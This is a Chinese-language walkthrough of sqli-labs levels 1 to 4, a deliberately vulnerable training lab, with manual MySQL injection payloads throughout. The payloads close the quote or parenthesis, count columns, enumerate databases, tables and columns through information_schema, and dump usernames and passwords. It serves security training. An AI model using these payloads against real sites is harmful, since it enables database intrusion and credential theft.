sqli-labs_Less_1-4

sqli-labs练习SQL注入(mysql)

漏洞源代码下载:https://github.com/Audi-1/sqli-labs

手工注入(hackbar)

Less-1 Get-Error-Single quotes-String

从标题可以知是基于get请求方法的单引号字符报错

页面提示输入数字型参数 id

/sqli-labs/Less-1/?id=1

返回正常页面

Welcome    Dhakkan
Your Login name:Dumb
Your Password:Dumb

加一个单引号测试

sqli-labs/Less-1/?id=1'

页面报错

Welcome    Dhakkan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 

从外层依次去掉闭合的单引号可以看到只剩下 1’ ,可知为字符型注sql注入(字符型和数字型的区别会在Less-2后区分)。

构造payload

在这里使用 # 或– 注释掉多余的部分(当然,这里也可以使用其他方法闭合这个单引号),对#进行了url编码,构造好使其正常返回。

sqli-labs/Less-1/?id=1' %23

返回正常

猜测字段数(order by )

使用联合查询 (union select)
首先使用order by 进行字段数猜测

sqli-labs/Less-1/?id=1'  order by 10%23

返回错误 :Unknown column ‘10’ in ‘order clause’

sqli-labs/Less-1/?id=1'  order by 5%23

返回正常

sqli-labs/Less-1/?id=1'  order by 6%23

返回错误
可知字段数为 5

找到显示位

sqli-labs/Less-1/?id=-1'  union select 1,2,3,4,5%23

这里注意把id的值设置为一个错误的值,这里设置为了-1可知显示位在 2,3

 Welcome    Dhakkan
Your Login name:2
Your Password:3

查看目标数据库基本信息

sqli-labs/Less-1/?id=-1'  union select 1,version(),user(),4,5%23

返回如下

Welcome    Dhakkan
Your Login name:5.5.53
Your Password:root@localhost
函数 功能
database() 返回当前数据库名 security
user() 返回当前数据库连接使用的数据库 security
version() 返回当前数据库的版本 5.5.53
system_user() 查询系统用户名 root@localhost
session_user() 连接数据库的用户名 root@localhost
current_user() 查询当前用户名 root@localhost
@@version_compile_os 查询数据库操作系统 Win32
@@datadir 查询数据库路径 C:\phpStudy\MySQL\data\
@@basedir 查询MySQL路径 C:/phpStudy/MySQL/

注:MySQL在5.xx版本以上有个information_schema数据库,该数据库记录了当前数据库的所有数据库、表、列、用户权限等信息,其中SCHEMATA 表存储MySQL所有数据库的基本信息,包括数据库名、编码类型路径等,show databases;结果取自此表;TABLE表存储MySQL中的表信息,show tables from schemaname;的结果取自此表;COLUMNS表:提供了表的列信息,show columns from schemaname.tablename;的结果取自此表

可得到该数据库基本信息 版本:5.5.53 用户:root@localhost 当前数据库名: security

获取数据库中的信息(database,table,column)

获取数据库

sqli-labs/Less-1/?id=-1' union all select 1,2, schema_name,4,5 from information_schema.schemata %23

返回了数据库 information_schema,一般MySQL中不止一个数据库,可以在加个limit 1,1第一个1表示从那里开始,第二个1表示几个,可以通过不断更改第一个数来显示数据库

sqli-labs/Less-1/?id=-1' union all select 1,2, schema_name,4,5 from information_schema.schemata limit 2,1%23

当然更简单的方法是使用group_concat()一次性返回所有的

sqli-labs/Less-1/?id=-1' union all select 1,2, group_concat(schema_name),4,5 from information_schema.schemata %23

返回:information_schema,challenges,mysql,performance_schema,security,test
security为需要查找的数据库

获取表

sqli-labs/Less-1/?id=-1' union all select 1,2, group_concat(table_name),4,5 from information_schema.tables where table_schema='security' %23

或者

sqli-labs/Less-1/?id=-1' union all select 1,2, group_concat(table_name),4,5 from information_schema.tables where table_schema=0x7365637572697479 %23

返回:emails,referers,uagents,users

注意:security是字符串要使用单引号包裹,或者将其转为十六进制数值类型不需要单引号(有时可能会过滤掉单引号)

获取列

sqli-labs/Less-1/?id=-1' union all select 1,2, group_concat(column_name),4,5 from information_schema.columns where table_name='users' %23

返回:id,username,password,first_name,last_name

获取数据

到这里我们已经知道了数据库名security,表名users,列名id,username,password,first_name,last_name

sqli-labs/Less-1/?id=-1' union all select 1, group_concat(username),group_concat(password),4,5 from security.users %23

返回

Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

Less-2 GET-Error based-Intiger based

基于get请求方法的整形注入
根据页面提示可知为数字型参数 id

sqli-labs/Less-2/?id=1

页面返回

Welcome    Dhakkan
Your Login name:Dumb
Your Password:Dumb 

添加一个单引号后

sqli-labs/Less-2/?id=1'

页面返回错误

Welcome    Dhakkan
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

从外层逐层去掉闭合单引号发现只剩下一个单引号 ,可以判断为数字型sql注入

构造payload

Less-2/?id=1 %23

数字型直接把后面的注释掉即可

sqli-labs/Less-2/?id=1 order by 6 %23 报错
sqli-labs/Less-2/?id=1 order by 5 %23 正常
sqli-labs/Less-2/?id=-1 union select 1,2,3,4,5 %23 显示位 2,3
sqli-labs/Less-2/?id=-1 union select 1,version(),database(),4,5 %23 版本:5.5.53 数据库:security
sqli-labs/Less-2/?id=-1 union select 1,2, group_concat(schema_name),4,5 from information_schema.schemata %23 返回所有的数据库
sqli-labs/Less-2/?id=-1 union  select 1,2, group_concat(table_name),4,5 from information_schema.tables where table_schema='security' %23 返回security数据库的所有表名
sqli-labs/Less-2/?id=-1 union all select 1,2, group_concat(column_name),4,5 from information_schema.columns where table_name='users' %23 返回users表的所有列名
sqli-labs/Less-2/?id=-1 union all select 1, group_concat(username),group_concat(password),4,5 from security.users %23 返回users表中的username和password字段的值

以上payload与Less-1相似

字符型注入和数字型注入的区别

Less-1 字符型 id=’$id’

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

Less-2 数字型 id=$id

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

加了一个单引号的报错结果

字符型:''1'' LIMIT 0,1' 从外逐层去掉成对的单引号 1'
数字型:'' LIMIT 0,1'  从外逐层去掉成对的单引号 '  

如果没有报错显示:test1不报错,test2报错为字符型

test1  sqli-labs/Less-1/?id=1' or '1'='2 
test2  sqli-labs/Less-1/?id=1' or '1'=2

对比可知:字符型使用单号包裹,数字型无;加了一个单引号后可以看到提交的参数被单引号包裹;以及上面测试的结果判断。

Less-3 GET-Error-Single quotes with twist-string

基于get请求方法的带括号的单引号字符型报错注入

测试

sqli-labs/Less-3/?id=1'

返回

near ''1'') LIMIT 0,1' at line 1

分析发现是在 Less-1的基础上加了括号

构造payload

sqli-labs/Less-3/?id=1') %23

返回正常,这里看一下源码就更好理解了

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

按照之前的思路测试即可

sqli-labs/Less-3/?id=1') order by 6 %23 返回错误
sqli-labs/Less-3/?id=1') order by 5 %23 返回正常
sqli-labs/Less-3/?id=-1') union all select 1,2,3,4,5 %23 可知 2,3回显

Less-4 Get-Error based- Double Quotes-string

基于get请求方法的双引号报错注入

测试

sqli-labs/Less-4/?id=1'

页面正常没有任何异常(这里加了单引号没作用),加一个双引号

sqli-labs/Less-4/?id=1"
返回 near '"1"") LIMIT 0,1' at line 1

从外逐层去掉成对的双引号和单引号 ,我们发现情况与Less-3类似,只是单引号换成双引号。

构造payload

sqli-labs/Less-4/?id=1") %23

返回正常

按照之前的思路即可

sqli-labs/Less-4/?id=1") order by 6%23
sqli-labs/Less-4/?id=1") order by 5%23
sqli-labs/Less-4/?id=-1") union select 1,2,3,4,5%23